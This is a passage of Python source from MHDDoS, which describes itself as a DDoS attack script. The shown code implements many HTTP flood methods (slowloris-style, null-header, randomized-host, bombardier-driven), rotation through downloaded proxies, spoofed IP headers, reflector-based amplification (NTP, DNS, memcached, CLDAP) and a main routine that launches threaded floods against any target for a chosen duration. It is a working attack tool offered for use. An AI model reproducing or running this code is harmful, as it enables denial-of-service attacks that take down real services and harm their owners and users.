s.cookies.set_cookie(cookies.create_cookie(key, value))
|
|
for _ in range(min(self._rpc, 5)):
|
|
sleep(min(self._rpc, 5) / 100)
|
|
if self._proxies:
|
|
pro = randchoice(self._proxies)
|
|
with s.get(self._target.human_repr(),
|
|
proxies=pro.asRequest()) as res:
|
|
REQUESTS_SENT += 1
|
|
BYTES_SEND += Tools.sizeOfRequest(res)
|
|
continue
|
|
|
|
with s.get(self._target.human_repr()) as res:
|
|
REQUESTS_SENT += 1
|
|
BYTES_SEND += Tools.sizeOfRequest(res)
|
|
Tools.safe_close(s)
|
|
|
|
def DYN(self):
|
|
payload: Any = str.encode(self._payload +
|
|
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) +
|
|
self.randHeadercontent +
|
|
"\r\n")
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def DOWNLOADER(self):
|
|
payload: Any = self.generate_payload()
|
|
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
while 1:
|
|
sleep(.01)
|
|
data = s.recv(1)
|
|
if not data:
|
|
break
|
|
Tools.send(s, b'0')
|
|
Tools.safe_close(s)
|
|
|
|
def BYPASS(self):
|
|
global REQUESTS_SENT, BYTES_SEND
|
|
pro = None
|
|
if self._proxies:
|
|
pro = randchoice(self._proxies)
|
|
s = None
|
|
with suppress(Exception), Session() as s:
|
|
for _ in range(self._rpc):
|
|
if pro:
|
|
with s.get(self._target.human_repr(),
|
|
proxies=pro.asRequest()) as res:
|
|
REQUESTS_SENT += 1
|
|
BYTES_SEND += Tools.sizeOfRequest(res)
|
|
continue
|
|
|
|
with s.get(self._target.human_repr()) as res:
|
|
REQUESTS_SENT += 1
|
|
BYTES_SEND += Tools.sizeOfRequest(res)
|
|
Tools.safe_close(s)
|
|
|
|
def GSB(self):
|
|
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
|
|
self._target.raw_path_qs,
|
|
ProxyTools.Random.rand_str(6)) +
|
|
"Host: %s\r\n" % self._target.authority +
|
|
self.randHeadercontent +
|
|
'Accept-Encoding: gzip, deflate, br\r\n'
|
|
'Accept-Language: en-US,en;q=0.9\r\n'
|
|
'Cache-Control: max-age=0\r\n'
|
|
'Connection: Keep-Alive\r\n'
|
|
'Sec-Fetch-Dest: document\r\n'
|
|
'Sec-Fetch-Mode: navigate\r\n'
|
|
'Sec-Fetch-Site: none\r\n'
|
|
'Sec-Fetch-User: ?1\r\n'
|
|
'Sec-Gpc: 1\r\n'
|
|
'Pragma: no-cache\r\n'
|
|
'Upgrade-Insecure-Requests: 1\r\n\r\n')
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def NULL(self) -> None:
|
|
payload: Any = str.encode(self._payload +
|
|
"Host: %s\r\n" % self._target.authority +
|
|
"User-Agent: null\r\n" +
|
|
"Referrer: null\r\n" +
|
|
self.SpoofIP + "\r\n")
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def BOMB(self):
|
|
assert self._proxies, \
|
|
'This method requires proxies. ' \
|
|
'Without proxies you can use github.com/codesenberg/bombardier'
|
|
|
|
while True:
|
|
proxy = randchoice(self._proxies)
|
|
if proxy.type != ProxyType.SOCKS4:
|
|
break
|
|
|
|
res = run(
|
|
[
|
|
f'{bombardier_path}',
|
|
f'--connections={self._rpc}',
|
|
'--http2',
|
|
'--method=GET',
|
|
'--latencies',
|
|
'--timeout=30s',
|
|
f'--requests={self._rpc}',
|
|
f'--proxy={proxy}',
|
|
f'{self._target.human_repr()}',
|
|
],
|
|
stdout=PIPE,
|
|
)
|
|
if self._thread_id == 0:
|
|
print(proxy, res.stdout.decode(), sep='\n')
|
|
|
|
def SLOW(self):
|
|
payload: bytes = self.generate_payload()
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
while Tools.send(s, payload) and s.recv(1):
|
|
for i in range(self._rpc):
|
|
keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
|
|
Tools.send(s, keep)
|
|
sleep(self._rpc / 15)
|
|
break
|
|
Tools.safe_close(s)
|
|
|
|
def select(self, name: str) -> None:
|
|
self.SENT_FLOOD = self.GET
|
|
if name == "POST":
|
|
self.SENT_FLOOD = self.POST
|
|
if name == "CFB":
|
|
self.SENT_FLOOD = self.CFB
|
|
if name == "CFBUAM":
|
|
self.SENT_FLOOD = self.CFBUAM
|
|
if name == "XMLRPC":
|
|
self.SENT_FLOOD = self.XMLRPC
|
|
if name == "BOT":
|
|
self.SENT_FLOOD = self.BOT
|
|
if name == "APACHE":
|
|
self.SENT_FLOOD = self.APACHE
|
|
if name == "BYPASS":
|
|
self.SENT_FLOOD = self.BYPASS
|
|
if name == "DGB":
|
|
self.SENT_FLOOD = self.DGB
|
|
if name == "OVH":
|
|
self.SENT_FLOOD = self.OVH
|
|
if name == "AVB":
|
|
self.SENT_FLOOD = self.AVB
|
|
if name == "STRESS":
|
|
self.SENT_FLOOD = self.STRESS
|
|
if name == "DYN":
|
|
self.SENT_FLOOD = self.DYN
|
|
if name == "SLOW":
|
|
self.SENT_FLOOD = self.SLOW
|
|
if name == "GSB":
|
|
self.SENT_FLOOD = self.GSB
|
|
if name == "NULL":
|
|
self.SENT_FLOOD = self.NULL
|
|
if name == "COOKIE":
|
|
self.SENT_FLOOD = self.COOKIES
|
|
if name == "PPS":
|
|
self.SENT_FLOOD = self.PPS
|
|
self._defaultpayload = (
|
|
self._defaultpayload +
|
|
"Host: %s\r\n\r\n" % self._target.authority).encode()
|
|
if name == "EVEN": self.SENT_FLOOD = self.EVEN
|
|
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
|
|
if name == "BOMB": self.SENT_FLOOD = self.BOMB
|
|
if name == "KILLER": self.SENT_FLOOD = self.KILLER
|
|
|
|
|
|
class ProxyManager:
|
|
|
|
@staticmethod
|
|
def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
|
|
providrs = [
|
|
provider for provider in cf["proxy-providers"]
|
|
if provider["type"] == Proxy_type or Proxy_type == 0
|
|
]
|
|
logger.info("Downloading Proxies from %d Providers" % len(providrs))
|
|
proxes: Set[Proxy] = set()
|
|
|
|
with ThreadPoolExecutor(len(providrs)) as executor:
|
|
future_to_download = {
|
|
executor.submit(
|
|
ProxyManager.download, provider,
|
|
ProxyType.stringToProxyType(str(provider["type"])))
|
|
for provider in providrs
|
|
}
|
|
for future in as_completed(future_to_download):
|
|
for pro in future.result():
|
|
proxes.add(pro)
|
|
return proxes
|
|
|
|
@staticmethod
|
|
def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
|
|
logger.debug(
|
|
"Downloading Proxies from (URL: %s, Type: %s, Timeout: %d)" %
|
|
(provider["url"], proxy_type.name, provider["timeout"]))
|
|
proxes: Set[Proxy] = set()
|
|
with suppress(TimeoutError, exceptions.ConnectionError,
|
|
exceptions.ReadTimeout):
|
|
data = get(provider["url"], timeout=provider["timeout"]).text
|
|
try:
|
|
for proxy in ProxyUtiles.parseAllIPPort(
|
|
data.splitlines(), proxy_type):
|
|
proxes.add(proxy)
|
|
except Exception as e:
|
|
logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
|
|
return proxes
|
|
|
|
|
|
class ToolsConsole:
|
|
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
|
|
|
|
@staticmethod
|
|
def checkRawSocket():
|
|
with suppress(OSError):
|
|
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
|
|
return True
|
|
return False
|
|
|
|
@staticmethod
|
|
def runConsole():
|
|
cons = f"{gethostname()}@MHTools:~#"
|
|
|
|
while 1:
|
|
cmd = input(cons + " ").strip()
|
|
if not cmd: continue
|
|
if " " in cmd:
|
|
cmd, args = cmd.split(" ", 1)
|
|
|
|
cmd = cmd.upper()
|
|
if cmd == "HELP":
|
|
print("Tools:" + ", ".join(ToolsConsole.METHODS))
|
|
print("Commands: HELP, CLEAR, BACK, EXIT")
|
|
continue
|
|
|
|
if (cmd == "E") or \
|
|
(cmd == "EXIT") or \
|
|
(cmd == "Q") or \
|
|
(cmd == "QUIT") or \
|
|
(cmd == "LOGOUT") or \
|
|
(cmd == "CLOSE"):
|
|
exit(-1)
|
|
|
|
if cmd == "CLEAR":
|
|
print("\033c")
|
|
continue
|
|
|
|
if not {cmd} & ToolsConsole.METHODS:
|
|
print(f"{cmd} command not found")
|
|
continue
|
|
|
|
if cmd == "DSTAT":
|
|
with suppress(KeyboardInterrupt):
|
|
ld = net_io_counters(pernic=False)
|
|
|
|
while True:
|
|
sleep(1)
|
|
|
|
od = ld
|
|
ld = net_io_counters(pernic=False)
|
|
|
|
t = [(last - now) for now, last in zip(od, ld)]
|
|
|
|
logger.info(
|
|
("Bytes Sended %s\n"
|
|
"Bytes Recived %s\n"
|
|
"Packets Sended %s\n"
|
|
"Packets Recived %s\n"
|
|
"ErrIn %s\n"
|
|
"ErrOut %s\n"
|
|
"DropIn %s\n"
|
|
"DropOut %s\n"
|
|
"Cpu Usage %s\n"
|
|
"Memory %s\n") %
|
|
(Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
|
|
Tools.humanformat(t[2]), Tools.humanformat(t[3]),
|
|
t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
|
|
str(virtual_memory().percent) + "%"))
|
|
if cmd in ["CFIP", "DNS"]:
|
|
print("Soon")
|
|
continue
|
|
|
|
if cmd == "CHECK":
|
|
while True:
|
|
with suppress(Exception):
|
|
domain = input(f'{cons}give-me-ipaddress# ')
|
|
if not domain: continue
|
|
if domain.upper() == "BACK": break
|
|
if domain.upper() == "CLEAR":
|
|
print("\033c")
|
|
continue
|
|
if (domain.upper() == "E") or \
|
|
(domain.upper() == "EXIT") or \
|
|
(domain.upper() == "Q") or \
|
|
(domain.upper() == "QUIT") or \
|
|
(domain.upper() == "LOGOUT") or \
|
|
(domain.upper() == "CLOSE"):
|
|
exit(-1)
|
|
if "/" not in domain: continue
|
|
logger.info("please wait ...")
|
|
|
|
with get(domain, timeout=20) as r:
|
|
logger.info(('status_code: %d\n'
|
|
'status: %s') %
|
|
(r.status_code, "ONLINE"
|
|
if r.status_code <= 500 else "OFFLINE"))
|
|
|
|
if cmd == "INFO":
|
|
while True:
|
|
domain = input(f'{cons}give-me-ipaddress# ')
|
|
if not domain: continue
|
|
if domain.upper() == "BACK": break
|
|
if domain.upper() == "CLEAR":
|
|
print("\033c")
|
|
continue
|
|
if (domain.upper() == "E") or \
|
|
(domain.upper() == "EXIT") or \
|
|
(domain.upper() == "Q") or \
|
|
(domain.upper() == "QUIT") or \
|
|
(domain.upper() == "LOGOUT") or \
|
|
(domain.upper() == "CLOSE"):
|
|
exit(-1)
|
|
domain = domain.replace('https://',
|
|
'').replace('http://', '')
|
|
if "/" in domain: domain = domain.split("/")[0]
|
|
print('please wait ...', end="\r")
|
|
|
|
info = ToolsConsole.info(domain)
|
|
|
|
if not info["success"]:
|
|
print("Error!")
|
|
continue
|
|
|
|
logger.info(("Country: %s\n"
|
|
"City: %s\n"
|
|
"Org: %s\n"
|
|
"Isp: %s\n"
|
|
"Region: %s\n") %
|
|
(info["country"], info["city"], info["org"],
|
|
info["isp"], info["region"]))
|
|
|
|
if cmd == "TSSRV":
|
|
while True:
|
|
domain = input(f'{cons}give-me-domain# ')
|
|
if not domain: continue
|
|
if domain.upper() == "BACK": break
|
|
if domain.upper() == "CLEAR":
|
|
print("\033c")
|
|
continue
|
|
if (domain.upper() == "E") or \
|
|
(domain.upper() == "EXIT") or \
|
|
(domain.upper() == "Q") or \
|
|
(domain.upper() == "QUIT") or \
|
|
(domain.upper() == "LOGOUT") or \
|
|
(domain.upper() == "CLOSE"):
|
|
exit(-1)
|
|
domain = domain.replace('https://',
|
|
'').replace('http://', '')
|
|
if "/" in domain: domain = domain.split("/")[0]
|
|
print('please wait ...', end="\r")
|
|
|
|
info = ToolsConsole.ts_srv(domain)
|
|
logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
|
|
logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
|
|
|
|
if cmd == "PING":
|
|
while True:
|
|
domain = input(f'{cons}give-me-ipaddress# ')
|
|
if not domain: continue
|
|
if domain.upper() == "BACK": break
|
|
if domain.upper() == "CLEAR":
|
|
print("\033c")
|
|
if (domain.upper() == "E") or \
|
|
(domain.upper() == "EXIT") or \
|
|
(domain.upper() == "Q") or \
|
|
(domain.upper() == "QUIT") or \
|
|
(domain.upper() == "LOGOUT") or \
|
|
(domain.upper() == "CLOSE"):
|
|
exit(-1)
|
|
|
|
domain = domain.replace('https://',
|
|
'').replace('http://', '')
|
|
if "/" in domain: domain = domain.split("/")[0]
|
|
|
|
logger.info("please wait ...")
|
|
r = ping(domain, count=5, interval=0.2)
|
|
logger.info(('Address: %s\n'
|
|
'Ping: %d\n'
|
|
'Aceepted Packets: %d/%d\n'
|
|
'status: %s\n') %
|
|
(r.address, r.avg_rtt, r.packets_received,
|
|
r.packets_sent,
|
|
"ONLINE" if r.is_alive else "OFFLINE"))
|
|
|
|
@staticmethod
|
|
def stop():
|
|
print('All Attacks has been Stopped !')
|
|
for proc in process_iter():
|
|
if proc.name() == "python.exe":
|
|
proc.kill()
|
|
|
|
@staticmethod
|
|
def usage():
|
|
print((
|
|
'* MHDDoS - DDoS Attack Script With %d Methods\n'
|
|
'Note: If the Proxy list is empty, the attack will run without proxies\n'
|
|
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
|
|
' Proxy Type 0 = All in config.json\n'
|
|
' SocksTypes:\n'
|
|
' - 6 = RANDOM\n'
|
|
' - 5 = SOCKS5\n'
|
|
' - 4 = SOCKS4\n'
|
|
' - 1 = HTTP\n'
|
|
' - 0 = ALL\n'
|
|
' > Methods:\n'
|
|
' - Layer4\n'
|
|
' | %s | %d Methods\n'
|
|
' - Layer7\n'
|
|
' | %s | %d Methods\n'
|
|
' - Tools\n'
|
|
' | %s | %d Methods\n'
|
|
' - Others\n'
|
|
' | %s | %d Methods\n'
|
|
' - All %d Methods\n'
|
|
'\n'
|
|
'Example:\n'
|
|
' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
|
|
' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
|
|
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
|
|
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
|
|
' Amplification)>\n') %
|
|
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
|
|
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
|
|
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
|
|
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
|
|
", ".join(["TOOLS", "HELP", "STOP"]), 3,
|
|
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
|
|
argv[0], argv[0], argv[0], argv[0]))
|
|
|
|
# noinspection PyBroadException
|
|
@staticmethod
|
|
def ts_srv(domain):
|
|
records = ['_ts3._udp.', '_tsdns._tcp.']
|
|
DnsResolver = resolver.Resolver()
|
|
DnsResolver.timeout = 1
|
|
DnsResolver.lifetime = 1
|
|
Info = {}
|
|
for rec in records:
|
|
try:
|
|
srv_records = resolver.resolve(rec + domain, 'SRV')
|
|
for srv in srv_records:
|
|
Info[rec] = str(srv.target).rstrip('.') + ':' + str(
|
|
srv.port)
|
|
except:
|
|
Info[rec] = 'Not found'
|
|
|
|
return Info
|
|
|
|
# noinspection PyUnreachableCode
|
|
@staticmethod
|
|
def info(domain):
|
|
with suppress(Exception), get("https://ipwhois.app/json/%s/" % domain) as s:
|
|
return s.json()
|
|
return {"success": False}
|
|
|
|
|
|
def handleProxyList(con, proxy_li, proxy_ty, url=None):
|
|
if proxy_ty not in {4, 5, 1, 0, 6}:
|
|
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
|
|
if proxy_ty == 6:
|
|
proxy_ty = randchoice([4, 5, 1])
|
|
if not proxy_li.exists():
|
|
logger.warning("The file doesn't exist, creating files and downloading proxies.")
|
|
proxy_li.parent.mkdir(parents=True, exist_ok=True)
|
|
with proxy_li.open("w") as wr:
|
|
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
|
|
logger.info(
|
|
f"{len(Proxies):,} Proxies are getting checked, this may take awhile!"
|
|
)
|
|
Proxies = ProxyChecker.checkAll(
|
|
Proxies, timeout=1, threads=threads,
|
|
url=url.human_repr() if url else "http://httpbin.org/get",
|
|
)
|
|
|
|
if not Proxies:
|
|
exit(
|
|
"Proxy Check failed, Your network may be the problem"
|
|
" | The target may not be available."
|
|
)
|
|
stringBuilder = ""
|
|
for proxy in Proxies:
|
|
stringBuilder += (proxy.__str__() + "\n")
|
|
wr.write(stringBuilder)
|
|
|
|
proxies = ProxyUtiles.readFromFile(proxy_li)
|
|
if proxies:
|
|
logger.info(f"Proxy Count: {len(proxies):,}")
|
|
else:
|
|
logger.info(
|
|
"Empty Proxy File, running flood witout proxy")
|
|
proxies = None
|
|
|
|
return proxies
|
|
|
|
|
|
if __name__ == '__main__':
|
|
with open(__dir__ / "config.json") as f:
|
|
con = load(f)
|
|
with suppress(KeyboardInterrupt):
|
|
with suppress(IndexError):
|
|
one = argv[1].upper()
|
|
|
|
if one == "HELP":
|
|
raise IndexError()
|
|
if one == "TOOLS":
|
|
ToolsConsole.runConsole()
|
|
if one == "STOP":
|
|
ToolsConsole.stop()
|
|
|
|
method = one
|
|
host = None
|
|
port= None
|
|
url = None
|
|
event = Event()
|
|
event.clear()
|
|
target = None
|
|
urlraw = argv[2].strip()
|
|
if not urlraw.startswith("http"):
|
|
urlraw = "http://" + urlraw
|
|
|
|
if method not in Methods.ALL_METHODS:
|
|
exit("Method Not Found %s" %
|
|
", ".join(Methods.ALL_METHODS))
|
|
|
|
if method in Methods.LAYER7_METHODS:
|
|
url = URL(urlraw)
|
|
host = url.host
|
|
try:
|
|
host = gethostbyname(url.host)
|
|
except Exception as e:
|
|
exit('Cannot resolve hostname ', url.host, e)
|
|
threads = int(argv[4])
|
|
rpc = int(argv[6])
|
|
timer = int(argv[7])
|
|
proxy_ty = int(argv[3].strip())
|
|
proxy_li = Path(__dir__ / "files/proxies/" /
|
|
argv[5].strip())
|
|
useragent_li = Path(__dir__ / "files/useragent.txt")
|
|
referers_li = Path(__dir__ / "files/referers.txt")
|
|
bombardier_path = Path.home() / "go/bin/bombardier"
|
|
proxies: Any = set()
|
|
|
|
if method == "BOMB":
|
|
assert (
|
|
bombardier_path.exists()
|
|
or bombardier_path.with_suffix('.exe').exists()
|
|
), (
|
|
"Install bombardier: "
|
|
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
|
|
)
|
|
|
|
if len(argv) == 9:
|
|
logger.setLevel("DEBUG")
|
|
|
|
if not useragent_li.exists():
|
|
exit("The Useragent file doesn't exist ")
|
|
if not referers_li.exists():
|
|
exit("The Referer file doesn't exist ")
|
|
|
|
uagents = set(a.strip()
|
|
for a in useragent_li.open("r+").readlines())
|
|
referers = set(a.strip()
|
|
for a in referers_li.open("r+").readlines())
|
|
|
|
if not uagents: exit("Empty Useragent File ")
|
|
if not referers: exit("Empty Referer File ")
|
|
|
|
if threads > 1000:
|
|
logger.warning("Thread is higher than 1000")
|
|
if rpc > 100:
|
|
logger.warning(
|
|
"RPC (Request Pre Connection) is higher than 100")
|
|
|
|
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
|
|
for thread_id in range(threads):
|
|
HttpFlood(thread_id, url, host, method, rpc, event,
|
|
uagents, referers, proxies).start()
|
|
|
|
if method in Methods.LAYER4_METHODS:
|
|
target = URL(urlraw)
|
|
|
|
port = target.port
|
|
target = target.host
|
|
|
|
try:
|
|
target = gethostbyname(target)
|
|
except Exception as e:
|
|
exit('Cannot resolve hostname ', url.host, e)
|
|
|
|
if port > 65535 or port < 1:
|
|
exit("Invalid Port [Min: 1 / Max: 65535] ")
|
|
|
|
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
|
|
not ToolsConsole.checkRawSocket():
|
|
exit("Cannot Create Raw Socket")
|
|
|
|
threads = int(argv[3])
|
|
timer = int(argv[4])
|
|
proxies = None
|
|
ref = None
|
|
if not port:
|
|
logger.warning("Port Not Selected, Set To Default: 80")
|
|
port = 80
|
|
|
|
if len(argv) >= 6:
|
|
argfive = argv[5].strip()
|
|
if argfive:
|
|
refl_li = Path(__dir__ / "files" / argfive)
|
|
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
|
|
if not refl_li.exists():
|
|
exit("The reflector file doesn't exist")
|
|
if len(argv) == 7:
|
|
logger.setLevel("DEBUG")
|
|
ref = set(a.strip()
|
|
for a in ProxyTools.Patterns.IP.findall(
|
|
refl_li.open("r+").read()))
|
|
if not ref: exit("Empty Reflector File ")
|
|
|
|
elif argfive.isdigit() and len(argv) >= 7:
|
|
if len(argv) == 8:
|
|
logger.setLevel("DEBUG")
|
|
proxy_ty = int(argfive)
|
|
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
|
|
proxies = handleProxyList(con, proxy_li, proxy_ty)
|
|
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
|
|
exit("this method cannot use for layer4 proxy")
|
|
|
|
else:
|
|
logger.setLevel("DEBUG")
|
|
|
|
for _ in range(threads):
|
|
Layer4((target, port), ref, method, event,
|
|
proxies).start()
|
|
|
|
logger.info(
|
|
"Attack Started to %s with %s method for %s seconds, threads: %d!"
|
|
% (target or url.human_repr(), method, timer, threads))
|
|
event.set()
|
|
ts = time()
|
|
while time() < ts + timer:
|
|
logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%' %
|
|
(target or url.human_repr(),
|
|
port or (url.port or 80),
|
|
method,
|
|
Tools.humanformat(int(REQUESTS_SENT)),
|
|
Tools.humanbytes(int(BYTES_SEND)),
|
|
round((time() - ts) / timer * 100, 2)))
|
|
REQUESTS_SENT.set(0)
|
|
BYTES_SEND.set(0)
|
|
sleep(1)
|
|
|
|
event.clear()
|
|
exit()
|
|
|
|
ToolsConsole.usage()
|